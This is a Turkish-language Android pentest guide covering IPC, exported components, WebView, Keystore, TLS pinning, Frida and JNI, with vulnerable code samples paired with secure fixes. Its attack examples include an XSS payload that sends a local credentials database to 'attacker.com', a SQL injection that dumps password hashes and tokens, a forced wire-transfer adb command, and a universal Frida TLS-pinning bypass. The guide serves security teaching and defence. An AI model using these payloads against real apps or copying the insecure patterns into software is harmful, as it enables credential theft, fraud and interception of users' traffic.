Android Pentest ve Güvenlik Mimarisi: 2026 Saha Rehberi ve Kaynak Kod Analizi

Android güvenlik modeli, Binder IPC, Keystore/Keymint TEE entegrasyonu, exported bileşenler, WebView zafiyetleri, JNI/NDK analizi ve Play Integrity mekanizmalarının 2026 standartlarında derinlemesine teknik analizi.

14 dk okuma
ibrahimsql
2.620 kelime

Android Pentest ve Güvenlik Mimarisi: 2026 Saha Rehberi ve Kaynak Kod Analizi#

Android uygulama güvenliği değerlendirmeleri, uzun yıllar boyunca yüzeysel bir araç zincirine indirgenmiştir: APK'yı apktool ile açmak, AndroidManifest.xml dosyasındaki bayraklara bakmak, jadx ile birkaç dize aramak ve standart bir Frida betiğiyle SSL pinning atlatıp trafiği Burp Suite'e yönlendirmek.

Bu yaklaşım, modern kurumsal Android ekosisteminde tamamen yetersizdir.

Modern Android (Android 14, 15 ve sonrası), Linux çekirdeği seviyesindeki unprivileged kullanıcı yalıtımından (app_uid), Binder IPC mimarisine; donanım tabanlı TEE/StrongBox destekli Keymint (Keystore 2.0) altyapısından, Play Integrity donanım onaylama (hardware attestation) standartlarına kadar çok katmanlı bir savunma derinliğine (defense-in-depth) sahiptir.

Bir Android uygulamasını gerçekten denetlemek; APK seviyesindeki paket formatından, Java/Kotlin çalışma zamanına (ART), yerel C/C++ (JNI/NDK) kütüphanelerinden çekirdek düzeyindeki IPC sınırlarına kadar tüm yığını anlamayı gerektirir.

Bu rehber, Android güvenlik modelini, bileşen mimarisini, IPC sınırlarını ve zafiyet analizlerini derin kaynak kod incelemeleri, mimari şemalar ve pratik analiz iş akışları ile 2026 standartlarında ortaya koymaktadır.


1. Android Güvenlik Mimarisi ve Çok Katmanlı Güven Sınırları#

Android işletim sisteminde her uygulama, Linux düzeyinde kendine ait benzersiz bir kullanıcı kimliğine (u0_aXXX) ve izole bir SELinux alanına (domain) atanır. Uygulamalar varsayılan olarak birbirlerinin bellek alanlarına veya özel dosya sistemlerine erişemez.

+-----------------------------------------------------------------------------+ | UYGULAMA ALANI (APP) | | (Paket: com.example.bank, UID: u0_a184, SELinux: untrusted_app) | | | | +---------------------------+ +----------------------------------+ | | | ART Sanal Makinesi | | Yerel C/C++ Kütüphane | | | | (Java/Kotlin Bytecode) |=======>| libnative-crypto.so | | | | - DexClassLoader | JNI | - Hafıza Yönetimi | | | +-------------+-------------+ +-----------------+----------------+ | +----------------|----------------------------------------|-------------------+ | IPC Çağrısı (Intent / AIDL) | Syscall v v +-----------------------------------------------------------------------------+ | ÇEKİRDEK VE IPC KATMANI | | | | +---------------------------+ +----------------------------------+ | | | /dev/binder | | Linux Çekirdeği | | | | (Binder Sürücüsü, IPC) | | (cgroups, UID/GID İzolasyonu, | | | +-------------+-------------+ | SELinux Zorlama, seccomp) | | +----------------|----------------------+-----------------+-------------------+ | | v v +-----------------------------------------------------------------------------+ | SİSTEM SERVİSLERİ VE DONANIM | | | | +---------------------------+ +----------------------------------+ | | | system_server | | keystore2 & Keymint HAL | | | | (ActivityManagerService, | | (Donanım Güvenlik Alanı) | | | | PackageManagerService) | +-----------------+----------------+ | | +---------------------------+ | | | v | | +----------------------------------+ | | | TEE / StrongBox (SE) | | | | (Kriptografik Anahtar İzolasyonu| | | +----------------------------------+ | +-----------------------------------------------------------------------------+

Güvenlik Sınırlarının Karşılaştırmalı Analizi#

KatmanGüvenlik SınırıUygulanan Savunma MekanizmasıAtlatma / Zafiyet Vektörü
Paket / APKKod ve Kaynak BütünlüğüAPK Signature Scheme v2/v3/v4Yeniden imzalama (Debug Key), Bytecode modifikasyonu
İşletim SistemiDosya Sistemi İzolasyonuLinux UID/GID yalıtımı, SELinuxRoot erişimi, Kernel LPE (Local Privilege Escalation)
Bileşen / IPCUygulamalar Arası İletişimandroid:exported, İzinler, Signature-level permissionsExported bileşen enjeksiyonu, Mutable PendingIntent
Bellek / NativeÇalışma Zamanı BütünlüğüASLR, W^X, Scudo Allocator, CFIBellek bozulması (Use-After-Free, Buffer Overflow)
KriptografiAnahtar GüvenliğiAndroid Keystore 2.0, Keymint HALCihaz kilitli değilken yetkisiz bellek kullanımı, Yan kanal
Ağ / İletişimAktarım GüvenliğiNetwork Security Config (NSC), TLS 1.3Özel TrustManager zafiyeti, Proxy + Dynamic Hooking

2. Exported Bileşenler ve IPC Saldırı Yüzeyi#

Android bileşenleri (Activity, Service, BroadcastReceiver, ContentProvider) işletim sisteminin giriş kapılarıdır. Android 12 (targetSdkVersion 31) sonrasında, intent-filter içeren her bileşende android:exported özniteliğinin açıkça belirtilmesi zorunlu kılınmıştır.

+-----------------------+ +-----------------------+ | Saldırgan Uygulama | | Hedef Bankacılık | | (Kötü Niyetli App) | | Uygulaması | +-----------+-----------+ +-----------+-----------+ | | | 1. Intent Gönder (Component: TargetActivity) | | Action: ACTION_VIEW, Extra: {pin: "1234"} | +------------------------------------------------>| [Exported Activity] | | (Auth adımı atlandı!) | | | 2. Implicit Intent ile Sorgu (content://...) | +------------------------------------------------>| [ContentProvider] | | (SQL Injection veya | | Dizin Gezinimi) | | | 3. Mutable PendingIntent Ele Geçirme | | (Intent hijacking / Fill-in) | +<================================================+ [Exported Service]

1. Activity İstismarı ve Yetkisiz Giriş#

Bir Activity'nin android:exported="true" olarak tanımlanması ve oturum doğrulaması yapmaması, saldırganın kimlik doğrulama ekranlarını atlayarak doğrudan hassas panellere ulaşmasına neden olur.

Güvensiz Kaynak Kod (Java):#

// Hedef Uygulama: BankTransferActivity.java public class BankTransferActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // HATA: Kullanıcının oturum açıp açmadığı doğrulanmıyor! // Doğrudan Intent Extra verisi okunup transfer tetikleniyor. String toAccount = getIntent().getStringExtra("target_account"); double amount = getIntent().getDoubleExtra("amount", 0.0); executeWireTransfer(toAccount, amount); } }

Saldırı Emülasyonu (ADB):#

# Saldırgan uygulamanın veya test uzmanının Activity'yi doğrudan tetiklemesi adb shell am start -n com.example.bank/.BankTransferActivity \ --es target_account "TR0011223344" \ --ef amount 10000.0

Güvenli Mimari Çözümü:#

// Güvenli Kod: Yetkilendirme kontrolü ve kapalı export if (!SessionManager.getInstance().isUserAuthenticated()) { redirectToLogin(); finish(); return; }

Ve AndroidManifest.xml içinde:

<activity android:name=".BankTransferActivity" android:exported="false" />

2. ContentProvider Zafiyetleri: SQL Injection ve Dizin Gezinimi#

ContentProvider bileşenleri, uygulamalar arası veri paylaşımını yönetir. Parametrelendirilmemiş sorgular doğrudan SQL Injection zafiyetine yol açarken, güvensiz openFile gerçekleştirmeleri yerel dizin gezinimine (Path Traversal) neden olur.

Zafiyetli Kaynak Kod: SQL Injection#

// UserContentProvider.java @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { SQLiteDatabase db = dbHelper.getReadableDatabase(); // ZAFİYET: 'selection' parametresi kullanıcıdan doğrudan alınarak SQL'e ekleniyor! String query = "SELECT * FROM users WHERE " + selection; return db.rawQuery(query, null); }

İstismar (Exploitation):#

# SQLite Injection ile tüm kullanıcı tablosunu dökme adb shell content query --uri content://com.example.provider/users \ --where "1=1) UNION SELECT id, username, password_hash, token FROM accounts--"

Zafiyetli Kaynak Kod: Dosya Dizin Gezinimi (openFile)#

// FileProvider.java @Override public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { // ZAFİYET: Gelen URI path denetlenmeden /files dizinine ekleniyor File root = new File(getContext().getFilesDir(), "shared"); File target = new File(root, uri.getLastPathSegment()); // ../../shared_prefs/auth.xml return ParcelFileDescriptor.open(target, ParcelFileDescriptor.MODE_READ_ONLY); }

Güvenli Kod: Kanonik Yol Doğrulaması#

File target = new File(root, uri.getLastPathSegment()).getCanonicalFile(); if (!target.getPath().startsWith(root.getCanonicalPath())) { throw new SecurityException("Dizin gezinimi engellendi!"); }

3. Mutable PendingIntent Ele Geçirme (Android 12+)#

Android 12 öncesinde PendingIntent nesneleri varsayılan olarak değiştirilebilirdi (mutable). Kötü niyetli bir uygulama, başka bir uygulamadan aldığı PendingIntent nesnesinin içindeki temel Intent'i (fillIn) manipüle ederek çağıran uygulamanın kimliğiyle ayrıcalıklı işlemler yürütebilir.

// ZAFİYET: Mutability bayrağı açık bırakılmış veya FLAG_MUTABLE kullanılmış PendingIntent pi = PendingIntent.getActivity( context, 0, baseIntent, PendingIntent.FLAG_MUTABLE ); // GÜVENLİ: İhtiyaç yoksa mutlaka FLAG_IMMUTABLE zorlanmalıdır PendingIntent pi = PendingIntent.getActivity( context, 0, baseIntent, PendingIntent.FLAG_IMMUTABLE );

3. WebView Güvenlik Mimarisi ve İstismar Senaryoları#

WebView, Android uygulamaları içinde gömülü web tarayıcı motoru (Chromium) çalıştırmayı sağlar. Yanlış yapılandırılmış bir WebView, uygulamanın tüm sandbox yalıtımını yıkar.

+-----------------------------------------------------------------------------+ | UYGULAMA SANDBOX (JAVA/KOTLIN) | | | | +-----------------------------------------------------------------------+ | | | Android WebView (Chromium Çekirdeği) | | | | | | | | +-------------------------------+ +------------------------------+ | | | | | JavaScript Arayüzü | | Dosya Erişim Ayarları | | | | | | addJavascriptInterface() | | setAllowFileAccess(true) | | | | | | (@JavascriptInterface Metodu)| | setAllowUniversalAccess() | | | | | +---------------+---------------+ +--------------+---------------+ | | | +------------------|---------------------------------|------------------+ | +---------------------|---------------------------------|---------------------+ | | | 1. JS Köprüsü ile Metot Çağrısı | 2. XSS ile Dosya Oku v v +-----------------------------------------------------------------------------+ | Yerel Cihaz Dosyaları (/data/data/com.example.app/databases/...) | | Özel Anahtarlıklar, Session Token'lar, SQLite Veritabanı | +-----------------------------------------------------------------------------+

Risk Analizi ve Kaynak Kod Denetimi#

1. Köprü Üzerinden Kod Yürütme (addJavascriptInterface)#

Eski Android sürümlerinde (API < 17) addJavascriptInterface yansıma (reflection) üzerinden tam uzaktan kod yürütmeye (RCE) yol açıyordu. Modern Android'de yalnızca @JavascriptInterface anotasyonu olan metotlar çağrılabilir; ancak bu metotların sunduğu işlevler (token okuma, dosya yazma) hala kötüye kullanılabilir.

// ZAFİYETLİ YAPILANDIRMA WebSettings settings = webView.getSettings(); settings.setJavaScriptEnabled(true); settings.setAllowFileAccess(true); // Yerel dosyalara erişim açık! settings.setAllowFileAccessFromFileURLs(true); settings.setAllowUniversalAccessFromFileURLs(true); // SOP tamamen delindi! // JavaScript köprüsünü rastgele yüklenebilen sayfalara açmak: webView.addJavascriptInterface(new NativeBridge(), "AndroidBridge"); webView.loadUrl(getIntent().getStringExtra("url")); // Unvalidated URL!

2. XSS Üzerinden Yerel Veritabanı Çalma:#

Saldırgan, WebView içinde kendi hazırladığı bir sayfayı açtırabilirse:

<script> // file:// protokolü üzerinden SQLite veritabanını oku ve dışarı sızdır var xhr = new XMLHttpRequest(); xhr.open("GET", "file:///data/data/com.example.app/databases/user_credentials.db"); xhr.responseType = "blob"; xhr.onload = function() { fetch("https://attacker.com/leak", {method: "POST", body: xhr.response}); }; xhr.send(); </script>

Güvenli WebView Yapılandırması:#

WebSettings settings = webView.getSettings(); settings.setJavaScriptEnabled(true); settings.setAllowFileAccess(false); settings.setAllowContentAccess(false); settings.setAllowFileAccessFromFileURLs(false); settings.setAllowUniversalAccessFromFileURLs(false); // Yalnızca beyaz listedeki origin'leri yükle webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { String host = request.getUrl().getHost(); if (host != null && host.endsWith("example.com")) { return false; // İzin ver } return true; // Bilinmeyen origin'leri engelle } });

4. Kriptografi ve Android Keystore 2.0 (Keymint/TEE)#

Android'de kriptografik anahtarları doğrudan SharedPreferences veya SQLite içinde saklamak kritik bir tasarım hatasıdır. Modern Android, anahtarların hiçbir zaman uygulama bellek alanına çıkmadığı Hardware-backed Keystore mimarisini kullanır.

+-----------------------+ | Uygulama Prosesi | | (User Space / JVM) | +-----------+-----------+ | 1. Cipher.init(ENCRYPT_MODE, key) v +-----------------------+ | Android Keystore | | (keystore2 Daemon) | +-----------+-----------+ | 2. Binder IPC (android.system.keystore2) v +-----------------------+ | Keymint HAL | | (Hardware Layer) | +-----------+-----------+ | 3. Güvenli Dünya İletişimi (TrustZone / SMC) v +-------------------------------------------------------+ | DONANIM GÜVENLİK ALANI (TEE / STRONGBOX) | | | | +-----------------------------------------------+ | | | Özel Anahtar (Asla Buradan Dışarı Çıkamaz) | | | +-----------------------------------------------+ | | | Donanım Kripto Motoru (AES-256-GCM / RSA) | | | +-----------------------------------------------+ | +-------------------------------------------------------+

Güvenli Anahtar Üretimi ve Biyometrik Bağlama Kaynak Kodu:#

// Hardware-backed AES-256 Anahtarı Üretme KeyGenParameterSpec keyGenSpec = new KeyGenParameterSpec.Builder( "SecureMasterKey", KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) .setBlockModes(KeyProperties.BLOCK_MODE_GCM) .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE) .setKeySize(256) // Anahtarın yalnızca cihaz kilidi açıldığında veya biyometrik onayda çalışmasını zorunlu kıl: .setUserAuthenticationRequired(true) .setUserAuthenticationParameters( 30, // 30 saniye geçerli kimlik doğrulama süresi KeyProperties.AUTH_BIOMETRIC_STRONG | KeyProperties.AUTH_DEVICE_CREDENTIAL ) // Eğer cihazda StrongBox Security Chip (Titan M vb.) varsa donanımda izole et: .setIsStrongBoxBacked(true) .build(); KeyGenerator keyGenerator = KeyGenerator.getInstance( KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); keyGenerator.init(keyGenSpec); SecretKey secretKey = keyGenerator.generateKey();

Pentest Perspektifinden Ne Aranmalıdır?#

  1. Yazılımsal Anahtar Fallback'i: KeyInfo.isInsideSecureHardware() çağrısıyla anahtarın donanımda mı yoksa yazılımsal öykünmede mi (BouncyCastle fallback) tutulduğu kontrol edilmelidir.
  2. Kriptografik Mod Hataları: AES kullanılırken ECB modu seçilmişse (AES/ECB/PKCS5Padding), şifreli metin desen analiziyle kırılabilir; daima AES/GCM/NoPadding aranmalıdır.
  3. Statik IV (Initialization Vector) Kullanımı: GCM modunda aynı IV ile iki farklı metin şifrelenirse, XOR operasyonu ile orijinal veriler açığa çıkar.

5. Ağ Güvenliği: Network Security Config, TLS ve Pinning#

Android 9'dan (targetSdkVersion 28) itibaren tüm cleartext (düz metin HTTP) trafiği varsayılan olarak engellenmiştir. Ağ katmanı politikaları /res/xml/network_security_config.xml dosyasında tanımlanır.

Güvenli vs. Güvensiz Yapılandırma Analizi#

Zafiyetli Yapılandırma (Tüm Trafik İzlenebilir):#

<?xml version="1.0" encoding="utf-8"?> <network-security-config> <!-- ZAFİYET: Debug-overrides release derlemesine sızmışsa, kullanıcı sertifikaları (Burp CA) doğrudan kabul edilir! --> <debug-overrides> <trust-anchors> <certificates src="user" /> </trust-anchors> </debug-overrides> <!-- ZAFİYET: Düz metin trafiğe genel izin verilmiş --> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system" /> <certificates src="user" /> </trust-anchors> </base-config> </network-security-config>

Güvenli Kurumsal Yapılandırma (Certificate Pinning ile):#

<?xml version="1.0" encoding="utf-8"?> <network-security-config> <base-config cleartextTrafficPermitted="false"> <trust-anchors> <certificates src="system" /> </trust-anchors> </base-config> <domain-config> <domain includeSubdomains="true">api.example.com</domain> <pin-set expiration="2027-01-01"> <!-- SHA-256 SPKI Pinleri --> <pin digest="SHA-256">k2v657xUM4Mm80fHpGQCeA6BrSmz0QY4429ET90352k=</pin> <!-- Yedek Pin (Yedek CA) --> <pin digest="SHA-256">WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=</pin> </pin-set> </domain-config> </network-security-config>

6. Runtime Enstrümantasyonu ve Dinamik Analiz (Frida & Objection)#

Statik analiz yalnızca varsayımları gösterir; gerçek zafiyet durumu uygulamanın çalışma zamanında kanıtlanır.

1. Modern OkHttp & TrustManager SSL Pinning Atlatma Betiği (Frida)#

Aşağıdaki betik, hem Java seviyesindeki klasik TrustManager doğrulamalarını hem de modern OkHttp CertificatePinner zincirini bellek üzerinde devre dışı bırakır:

/* Frida - Evrensel Android TLS Pinning Atlatma Betiği */ Java.perform(function () { console.log("[*] SSL Pinning atlatma motoru başlatılıyor..."); // 1. Standart X509TrustManager'ı baypas et var TrustManager = Java.use('javax.net.ssl.X509TrustManager'); var SSLContext = Java.use('javax.net.ssl.SSLContext'); var TrustAllCerts = Java.registerClass({ name: 'com.sec.TrustAll', implements: [TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; } } }); var TrustAllInstance = TrustAllCerts.$new(); SSLContext.init.overload( '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom' ).implementation = function (km, tm, sr) { console.log("[+] SSLContext.init hooklandı: Özel TrustManager enjekte edildi."); return this.init(km, [TrustAllInstance], sr); }; // 2. OkHttp v3/v4 CertificatePinner kontrolünü yok say try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function (hostname, peerCertificates) { console.log("[+] OkHttp CertificatePinner.check() atlatıldı: " + hostname); return; // Hata fırlatmadan çık }; } catch (e) { console.log("[-] OkHttp3 sınıfı bulunamadı veya paket karıştırılmış (obfuscated)."); } });

7. Yerel Kütüphane Güvenliği (JNI/NDK Analizi)#

Birçok modern uygulama, hassas mantıklarını (root tespiti, imza doğrulaması, kripto anahtarları) Java katmanından gizlemek için C/C++ ile yazılmış yerel ikililere (.so) taşır.

JNI Dinamik Fonksiyon Kaydı (RegisterNatives)#

Geleneksel JNI fonksiyonları dışa aktarılan semboller üzerinden Java_com_example_app_Native_checkRoot şeklinde kolayca bulunur. Ancak profesyonel ikililer JNI_OnLoad içinde dinamik kayıt kullanır:

/* native-lib.c */ #include <jni.h> #include <string.h> jboolean native_isRooted(JNIEnv *env, jobject thiz) { // /system/bin/su veya Magisk mount noktası kontrolü if (access("/system/bin/su", F_OK) == 0) { return JNI_TRUE; } return JNI_FALSE; } static JNINativeMethod methods[] = { {"isRooted", "()Z", (void *)native_isRooted} }; JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) { JNIEnv *env; if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass cls = (*env)->FindClass(env, "com/example/bank/SecurityEngine"); // Fonksiyonlar çalışma zamanında eşleştirilir; IDA/Ghidra exports tablosunda görünmez! (*env)->RegisterNatives(env, cls, methods, sizeof(methods)/sizeof(methods[0])); return JNI_VERSION_1_6; }

Tersine Mühendislik Yaklaşımı:#

  1. Ghidra veya IDA Pro ile .so dosyasını açın.
  2. Exports sekmesinde JNI_OnLoad fonksiyonuna gidin.
  3. RegisterNatives çağrısını bulun; üçüncü parametre (methods dizisi) fonksiyonların sanal bellek adreslerini taşır.
  4. Bu adreslere breakpoint koyarak veya Frida ile Interceptor.attach kullanarak fonksiyonun çalışma zamanı davranışını gözlemleyin.

8. Play Integrity API ve Sunucu Taraflı Doğrulama#

Eski SafetyNet Attestation API'si 2024 sonrası tamamen kaldırılmış ve yerini Play Integrity API'ye bırakmıştır.

+--------------+ +---------------+ +---------------+ | Uygulama | | Google Play | | Arka Uç | | (İstemci) | | Sunucuları | | (Backend) | +-------+------+ +-------+-------+ +-------+-------+ | | | | 1. Nonce Al (Kriptografik) | | |<---------------------------------------------------------------+ | | | | 2. requestIntegrityToken(nonce) | +------------------------------>| | | | | | 3. Şifreli Integrity Token'ı | | |<------------------------------+ | | | | 4. Token'ı Doğrulama İçin Gönder (HTTPS POST) | +--------------------------------------------------------------->| | | | | 5. Token'ı Doğrula (API Çağrısı)| | |<-------------------------------+ | | | | | 6. Yanıt: {appLicensing, | | | deviceRecognitionVerdict} | | +------------------------------->| | | | 7. Yetkilendirme Sonucu | |<---------------------------------------------------------------+

Pentest Perspektifinden Kritik Risk:#

Eğer uygulama token'ın doğrulanması kararını kendi üzerinde verirse (istemci taraflı boolean kontrol), bu bir mimari tasarım hatasıdır. İstemcideki integrityToken cevabı bir Frida kancasıyla doğrudan true döndürülerek baypas edilebilir.

Kural: Play Integrity kararı yalnızca sunucu tarafında Google API'leri ile çözülmeli ve sunucunun oturum yönetim motoruna bağlanmalıdır.


9. Pratik Denetim ve İstismar Laboratuvarı (CLI Komutları)#

1. Hedef Paketi Çekme ve Parçalama#

# Cihazdaki paket yolunu tespit et adb shell pm path com.example.bank # APK dosyasını yerel sisteme çek adb pull /data/app/~~xxxxxx/com.example.bank-yyyyy/base.apk # Kaynakları ve manifest'i okunabilir formata dönüştür apktool d base.apk -o base_decoded # Bytecode'u Java kaynak koduna derle jadx -d base_src base.apk

2. Exported Bileşen Taraması#

# Manifest içindeki açık kapıları tespit et grep -n 'android:exported="true"' base_decoded/AndroidManifest.xml # Çalışma zamanında bileşeni tetikle ve tepkiyi izle adb shell am start -n com.example.bank/.DeepLinkDispatcherActivity \ -a android.intent.action.VIEW \ -d "myapp://auth/callback?code=EXPLOIT_PAYLOAD"

3. Logcat ve Bellek İncelemesi#

# Hassas veri sızıntılarını gerçek zamanlı dinle adb logcat -v time | grep -iE 'password|token|bearer|key|secret' # SQLite veritabanını dışarı aktar (Debuggable veya root ortamında) adb shell "su -c 'cp /data/data/com.example.bank/databases/*.db /sdcard/'" adb pull /sdcard/app.db sqlite3 app.db ".dump"

10. Özet ve Değerlendirme#

Android güvenlik testi, bir kontrol listesindeki kutuları işaretlemekten ibaret değildir. Başarılı bir analiz;

  1. Manifest ve bileşen sınırlarını (IPC),
  2. Bellek ve native katman bütünlüğünü (JNI),
  3. Kriptografik anahtar yönetimini (Keystore/TEE),
  4. Ağ güvenliği ve sunucu taraflı güven delegasyonunu birlikte ele almalıdır.

İstemci tarafında çalışan hiçbir kodun mutlak güvenli sayılamayacağı kabul edilmeli; kritik iş kuralları ve kimlik doğrulama kontrolleri daima arka uç sunucusu üzerinde doğrulanmalıdır.


İlgili İncelemeler ve Dahili Bağlantılar#

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar